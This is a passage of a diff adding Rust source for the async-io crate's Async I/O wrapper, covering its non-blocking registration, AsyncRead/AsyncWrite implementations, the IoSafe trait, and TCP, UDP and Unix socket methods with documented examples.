https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0)))?; + /// let listener = Async::new(listener)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new(io: T) -> io::Result> { + // Put the file descriptor in non-blocking mode. + set_nonblocking(io.as_fd())?; + + Self::new_nonblocking(io) + } + + /// Creates an async I/O handle without setting it to non-blocking mode. + /// + /// This method will register the handle in [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Caveats + /// + /// The caller should ensure that the handle is set to non-blocking mode or that it is okay if + /// it is not set. If not set to non-blocking mode, I/O operations may block the current thread + /// and cause a deadlock in an asynchronous context. + pub fn new_nonblocking(io: T) -> io::Result> { + // SAFETY: It is impossible to drop the I/O source while it is registered through + // this type. + let registration = unsafe { Registration::new(io.as_fd()) }; + + Ok(Async { + source: Reactor::get().insert_io(registration)?, + io: Some(io), + }) + } +} + +#[cfg(unix)] +impl AsRawFd for Async { + fn as_raw_fd(&self) -> RawFd { + self.get_ref().as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for Async { + fn as_fd(&self) -> BorrowedFd<'_> { + self.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl> TryFrom for Async { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Async::new(value.into()) + } +} + +#[cfg(unix)] +impl> TryFrom> for OwnedFd { + type Error = io::Error; + + fn try_from(value: Async) -> Result { + value.into_inner().map(Into::into) + } +} + +#[cfg(windows)] +impl Async { + /// Creates an async I/O handle. + /// + /// This method will put the handle in non-blocking mode and register it in + /// [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0)))?; + /// let listener = Async::new(listener)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new(io: T) -> io::Result> { + // Put the socket in non-blocking mode. + set_nonblocking(io.as_socket())?; + + Self::new_nonblocking(io) + } + + /// Creates an async I/O handle without setting it to non-blocking mode. + /// + /// This method will register the handle in [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Caveats + /// + /// The caller should ensure that the handle is set to non-blocking mode or that it is okay if + /// it is not set. If not set to non-blocking mode, I/O operations may block the current thread + /// and cause a deadlock in an asynchronous context. + pub fn new_nonblocking(io: T) -> io::Result> { + // Create the registration. + // + // SAFETY: It is impossible to drop the I/O source while it is registered through + // this type. + let registration = unsafe { Registration::new(io.as_socket()) }; + + Ok(Async { + source: Reactor::get().insert_io(registration)?, + io: Some(io), + }) + } +} + +#[cfg(windows)] +impl AsRawSocket for Async { + fn as_raw_socket(&self) -> RawSocket { + self.get_ref().as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for Async { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl> TryFrom for Async { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Async::new(value.into()) + } +} + +#[cfg(windows)] +impl> TryFrom> for OwnedSocket { + type Error = io::Error; + + fn try_from(value: Async) -> Result { + value.into_inner().map(Into::into) + } +} + +impl Async { + /// Gets a reference to the inner I/O handle. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = listener.get_ref(); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn get_ref(&self) -> &T { + self.io.as_ref().unwrap() + } + + /// Gets a mutable reference to the inner I/O handle. + /// + /// # Safety + /// + /// The underlying I/O source must not be dropped using this function. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = unsafe { listener.get_mut() }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub unsafe fn get_mut(&mut self) -> &mut T { + self.io.as_mut().unwrap() + } + + /// Unwraps the inner I/O handle. + /// + /// This method will **not** put the I/O handle back into blocking mode. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = listener.into_inner()?; + /// + /// // Put the listener back into blocking mode. + /// inner.set_nonblocking(false)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn into_inner(mut self) -> io::Result { + let io = self.io.take().unwrap(); + Reactor::get().remove_io(&self.source)?; + Ok(io) + } + + /// Waits until the I/O handle is readable. + /// + /// This method completes when a read operation on this I/O handle wouldn't block. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Wait until a client can be accepted. + /// listener.readable().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn readable(&self) -> Readable<'_, T> { + Source::readable(self) + } + + /// Waits until the I/O handle is readable. + /// + /// This method completes when a read operation on this I/O handle wouldn't block. + pub fn readable_owned(self: Arc) -> ReadableOwned { + Source::readable_owned(self) + } + + /// Waits until the I/O handle is writable. + /// + /// This method completes when a write operation on this I/O handle wouldn't block. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// + /// // Wait until the stream is writable. + /// stream.writable().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn writable(&self) -> Writable<'_, T> { + Source::writable(self) + } + + /// Waits until the I/O handle is writable. + /// + /// This method completes when a write operation on this I/O handle wouldn't block. + pub fn writable_owned(self: Arc) -> WritableOwned { + Source::writable_owned(self) + } + + /// Polls the I/O handle for readability. + /// + /// When this method returns [`Poll::Ready`], that means the OS has delivered an event + /// indicating readability since the last time this task has called the method and received + /// [`Poll::Pending`]. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// Note that the [`AsyncRead`] implementation for [`Async`] also uses this method. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::future::poll_fn; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Wait until a client can be accepted. + /// poll_fn(|cx| listener.poll_readable(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_readable(&self, cx: &mut Context<'_>) -> Poll> { + self.source.poll_readable(cx) + } + + /// Polls the I/O handle for writability. + /// + /// When this method returns [`Poll::Ready`], that means the OS has delivered an event + /// indicating writability since the last time this task has called the method and received + /// [`Poll::Pending`]. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// Note that the [`AsyncWrite`] implementation for [`Async`] also uses this method. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::future::poll_fn; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// + /// // Wait until the stream is writable. + /// poll_fn(|cx| stream.poll_writable(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_writable(&self, cx: &mut Context<'_>) -> Poll> { + self.source.poll_writable(cx) + } + + /// Performs a read operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is readable. + /// + /// The closure receives a shared reference to the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Accept a new client asynchronously. + /// let (stream, addr) = listener.read_with(|l| l.accept()).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn read_with(&self, op: impl FnMut(&T) -> io::Result) -> io::Result { + let mut op = op; + loop { + match op(self.get_ref()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.readable()).await?; + } + } + + /// Performs a read operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is readable. + /// + /// The closure receives a mutable reference to the I/O handle. + /// + /// # Safety + /// + /// In the closure, the underlying I/O source must not be dropped. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Accept a new client asynchronously. + /// let (stream, addr) = unsafe { listener.read_with_mut(|l| l.accept()).await? }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async unsafe fn read_with_mut( + &mut self, + op: impl FnMut(&mut T) -> io::Result, + ) -> io::Result { + let mut op = op; + loop { + match op(self.get_mut()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.readable()).await?; + } + } + + /// Performs a write operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is writable. + /// + /// The closure receives a shared reference to the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = socket.write_with(|s| s.send(msg)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn write_with(&self, op: impl FnMut(&T) -> io::Result) -> io::Result { + let mut op = op; + loop { + match op(self.get_ref()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.writable()).await?; + } + } + + /// Performs a write operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is writable. + /// + /// # Safety + /// + /// The closure receives a mutable reference to the I/O handle. In the closure, the underlying + /// I/O source must not be dropped. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let mut socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = unsafe { socket.write_with_mut(|s| s.send(msg)).await? }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async unsafe fn write_with_mut( + &mut self, + op: impl FnMut(&mut T) -> io::Result, + ) -> io::Result { + let mut op = op; + loop { + match op(self.get_mut()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.writable()).await?; + } + } +} + +impl AsRef for Async { + fn as_ref(&self) -> &T { + self.get_ref() + } +} + +impl Drop for Async { + fn drop(&mut self) { + if self.io.is_some() { + // Deregister and ignore errors because destructors should not panic. + Reactor::get().remove_io(&self.source).ok(); + + // Drop the I/O handle to close it. + self.io.take(); + } + } +} + +/// Types whose I/O trait implementations do not drop the underlying I/O source. +/// +/// The resource contained inside of the [`Async`] cannot be invalidated. This invalidation can +/// happen if the inner resource (the [`TcpStream`], [`UnixListener`] or other `T`) is moved out +/// and dropped before the [`Async`]. Because of this, functions that grant mutable access to +/// the inner type are unsafe, as there is no way to guarantee that the source won't be dropped +/// and a dangling handle won't be left behind. +/// +/// Unfortunately this extends to implementations of [`Read`] and [`Write`]. Since methods on those +/// traits take `&mut`, there is no guarantee that the implementor of those traits won't move the +/// source out while the method is being run. +/// +/// This trait is an antidote to this predicament. By implementing this trait, the user pledges +/// that using any I/O traits won't destroy the source. This way, [`Async`] can implement the +/// `async` version of these I/O traits, like [`AsyncRead`] and [`AsyncWrite`]. +/// +/// # Safety +/// +/// Any I/O trait implementations for this type must not drop the underlying I/O source. Traits +/// affected by this trait include [`Read`], [`Write`], [`Seek`] and [`BufRead`]. +/// +/// This trait is implemented by default on top of `libstd` types. In addition, it is implemented +/// for immutable reference types, as it is impossible to invalidate any outstanding references +/// while holding an immutable reference, even with interior mutability. As Rust's current pinning +/// system relies on similar guarantees, I believe that this approach is robust. +/// +/// [`BufRead`]: https://doc.rust-lang.org/std/io/trait.BufRead.html +/// [`Read`]: https://doc.rust-lang.org/std/io/trait.Read.html +/// [`Seek`]: https://doc.rust-lang.org/std/io/trait.Seek.html +/// [`Write`]: https://doc.rust-lang.org/std/io/trait.Write.html +/// +/// [`AsyncRead`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncRead.html +/// [`AsyncWrite`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncWrite.html +pub unsafe trait IoSafe {} + +/// Reference types can't be mutated. +/// +/// The worst thing that can happen is that external state is used to change what kind of pointer +/// `as_fd()` returns. For instance: +/// +/// ``` +/// # #[cfg(unix)] { +/// use std::cell::Cell; +/// use std::net::TcpStream; +/// use std::os::unix::io::{AsFd, BorrowedFd}; +/// +/// struct Bar { +/// flag: Cell, +/// a: TcpStream, +/// b: TcpStream +/// } +/// +/// impl AsFd for Bar { +/// fn as_fd(&self) -> BorrowedFd<'_> { +/// if self.flag.replace(!self.flag.get()) { +/// self.a.as_fd() +/// } else { +/// self.b.as_fd() +/// } +/// } +/// } +/// # } +/// ``` +/// +/// We solve this problem by only calling `as_fd()` once to get the original source. Implementations +/// like this are considered buggy (but not unsound) and are thus not really supported by `async-io`. +unsafe impl IoSafe for &T {} + +// Can be implemented on top of libstd types. +unsafe impl IoSafe for std::fs::File {} +unsafe impl IoSafe for std::io::Stderr {} +unsafe impl IoSafe for std::io::Stdin {} +unsafe impl IoSafe for std::io::Stdout {} +unsafe impl IoSafe for std::io::StderrLock<'_> {} +unsafe impl IoSafe for std::io::StdinLock<'_> {} +unsafe impl IoSafe for std::io::StdoutLock<'_> {} +unsafe impl IoSafe for std::net::TcpStream {} +unsafe impl IoSafe for std::process::ChildStdin {} +unsafe impl IoSafe for std::process::ChildStdout {} +unsafe impl IoSafe for std::process::ChildStderr {} + +#[cfg(unix)] +unsafe impl IoSafe for std::os::unix::net::UnixStream {} + +// PipeReader & PipeWriter require std >= 1.87, our MSRV is 1.71, hence +// conditional on cfg()s, generated from build.rs +#[cfg(not(async_io_no_pipe))] +unsafe impl IoSafe for std::io::PipeReader {} +#[cfg(not(async_io_no_pipe))] +unsafe impl IoSafe for std::io::PipeWriter {} + +unsafe impl IoSafe for std::io::BufReader {} +unsafe impl IoSafe for std::io::BufWriter {} +unsafe impl IoSafe for std::io::LineWriter {} +unsafe impl IoSafe for &mut T {} +unsafe impl IoSafe for Box {} +unsafe impl IoSafe for std::borrow::Cow<'_, T> {} + +impl AsyncRead for Async { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } + + fn poll_read_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &mut [IoSliceMut<'_>], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.read_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } +} + +// Since this is through a reference, we can't mutate the inner I/O source. +// Therefore this is safe! +impl AsyncRead for &Async +where + for<'a> &'a T: Read, +{ + fn poll_read( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match (*self).get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } + + fn poll_read_vectored( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &mut [IoSliceMut<'_>], + ) -> Poll> { + loop { + match (*self).get_ref().read_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } +} + +impl AsyncWrite for Async { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + self.poll_flush(cx) + } +} + +impl AsyncWrite for &Async +where + for<'a> &'a T: Write, +{ + fn poll_write( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match (*self).get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_write_vectored( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + match (*self).get_ref().write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match (*self).get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + self.poll_flush(cx) + } +} + +impl Async { + /// Creates a TCP listener bound to the specified address. + /// + /// Binding with port number 0 will request an available port from the OS. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// println!("Listening on {}", listener.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(addr: A) -> io::Result> { + let addr = addr.into(); + Async::new(TcpListener::bind(addr)?) + } + + /// Accepts a new incoming TCP connection. + /// + /// When a connection is established, it will be returned as a TCP stream together with its + /// remote address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 8000))?; + /// let (stream, addr) = listener.accept().await?; + /// println!("Accepted client: {}", addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(Async, SocketAddr)> { + let (stream, addr) = self.read_with(|io| io.accept()).await?; + Ok((Async::new(stream)?, addr)) + } + + /// Returns a stream of incoming TCP connections. + /// + /// The stream is infinite, i.e. it never stops with a [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use futures_lite::{stream::StreamExt}; + /// use std::net::TcpListener; + /// use std::pin::pin; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 8000))?; + /// let incoming = listener.incoming(); + /// let mut incoming = pin!(incoming); + /// + /// while let Some(stream) = incoming.next().await { + /// let stream = stream?; + /// println!("Accepted client: {}", stream.get_ref().peer_addr()?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> impl Stream>> + Send + '_ { + stream::unfold(self, |listener| async move { + let res = listener.accept().await.map(|(stream, _)| stream); + Some((res, listener)) + }) + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(listener: std::net::TcpListener) -> io::Result { + Async::new(listener) + } +} + +impl Async { + /// Creates a TCP connection to the specified address. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(addr: A) -> io::Result> { + // Figure out how to handle this address. + let addr = addr.into(); + let (domain, sock_addr) = match addr { + SocketAddr::V4(v4) => (rn::AddressFamily::INET, v4.as_any()), + SocketAddr::V6(v6) => (rn::AddressFamily::INET6, v6.as_any()), + }; + + // Begin async connect. + let socket = connect(sock_addr, domain, Some(rn::ipproto::TCP))?; + // Use new_nonblocking because connect already sets socket to non-blocking mode. + let stream = Async::new_nonblocking(TcpStream::from(socket))?; + + // The stream becomes writable when connected. + stream.writable().await?; + + // Check if there was an error while connecting. + match stream.get_ref().take_error()? { + None => Ok(stream), + Some(err) => Err(err), + } + } + + /// Reads data from the stream without removing it from the buffer. + /// + /// Returns the number of bytes read. Successive calls of this method read the same data. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use futures_lite::{io::AsyncWriteExt, stream::StreamExt}; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let mut stream = Async::::connect(addr).await?; + /// + /// stream + /// .write_all(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n") + /// .await?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = stream.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.peek(buf)).await + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(stream: std::net::TcpStream) -> io::Result { + Async::new(stream) + } +} + +impl Async { + /// Creates a UDP socket bound to the specified address. + /// + /// Binding with port number 0 will request an available port from the OS. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 0))?; + /// println!("Bound to {}", socket.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(addr: A) -> io::Result> { + let addr = addr.into(); + Async::new(UdpSocket::bind(addr)?) + } + + /// Receives a single datagram message. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.recv_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.read_with(|io| io.recv_from(buf)).await + } + + /// Receives a single datagram message without removing it from the queue. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.peek_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.read_with(|io| io.peek_from(buf)).await + } + + /// Sends data to the specified address. + /// + /// Returns the number of bytes written. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 0))?; + /// let addr = socket.get_ref().local_addr()?; + /// + /// let msg = b"hello"; + /// let len = socket.send_to(msg, addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], addr: A) -> io::Result { + let addr = addr.into(); + self.write_with(|io| io.send_to(buf, addr)).await + } + + /// Receives a single datagram message from the connected peer. + /// + /// Returns the number of bytes read. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.recv(buf)).await + } + + /// Receives a single datagram message from the connected peer without removing it from the + /// queue. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.peek(buf)).await + } + + /// Sends data to the connected peer. + /// + /// Returns the number of bytes written. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = socket.send(msg).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.write_with(|io| io.send(buf)).await + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(socket: std::net::UdpSocket) -> io::Result { + Async::new(socket) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS listener bound to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// println!("Listening on {:?}", listener.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + 